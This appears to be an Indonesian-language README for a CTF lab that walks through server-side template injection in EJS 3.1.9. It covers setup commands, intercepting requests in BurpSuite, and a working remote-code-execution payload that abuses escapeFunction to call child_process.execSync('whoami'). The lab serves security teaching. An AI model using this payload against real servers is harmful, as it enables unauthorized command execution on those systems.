CTF Labs | by ctflabs-id
SSTI (Server-Side Template Injection) adalah jenis kerentanan di mana user dapat menyisipkan template code ke dalam input yang dirender oleh server menggunakan template engine seperti EJS, Jinja2, Twig, dan lainnya.
Dengan memanfaatkan kelemahan ini, attacker dapat:
- Mengeksekusi perintah server-side (
RCE) - Membaca environment variabel
- Akses ke file sistem
Pada EJS versi 3.1.9, jika diset client=true dan escapeFunction dilewatkan sebagai function injection, maka arbitrary JS code bisa dijalankan saat template dirender.
Contoh payload:
&settings[view options][client]=true
&settings[view options][escapeFunction]=1;return global.process.mainModule.constructor._load('child_process').execSync('whoami');git clone https://github.com/ctflabs-id/EJS-SSTI-VULN
cd EJS-SSTI-VULN
npm install
npm start💡 Jalankan pada terminal pertama node app.js,
Jalankan BurpSuite pada background untuk intercept
- Aktifkan BurpSuite Intercept

- Buka browser ke:
http://localhost:3000/settings
- Masukkan credentials apapun (nama & password ex: malvin, 123)

- Submit form dan tangkap request-nya di BurpSuite

- Masukkan Payload SSTI ke dalam body request seperti ini:
name=ctfer&password=123&settings[view options][client]=true&settings[view options][escapeFunction]=1;return global.process.mainModule.constructor._load('child_process').execSync('whoami');
6. Forward Request, kembali ke browser dan lihat hasil perintah dieksekusi!

🔎 Output Contoh
Welcome ctfer
web🎓 Tujuan Lab Ini
- Memahami dampak eksploitasi SSTI
- Belajar intercept dan manipulasi request real-time
- Eksperimen dengan template injection di Node.js (EJS Engine)
🤝 Kontribusi Pull request & issue welcome via: ctflabs-id/EJS-SSTI-VULN
🧠 Maintained by
GitHub: @ctflabs-id
Website: ctflabsid.my.id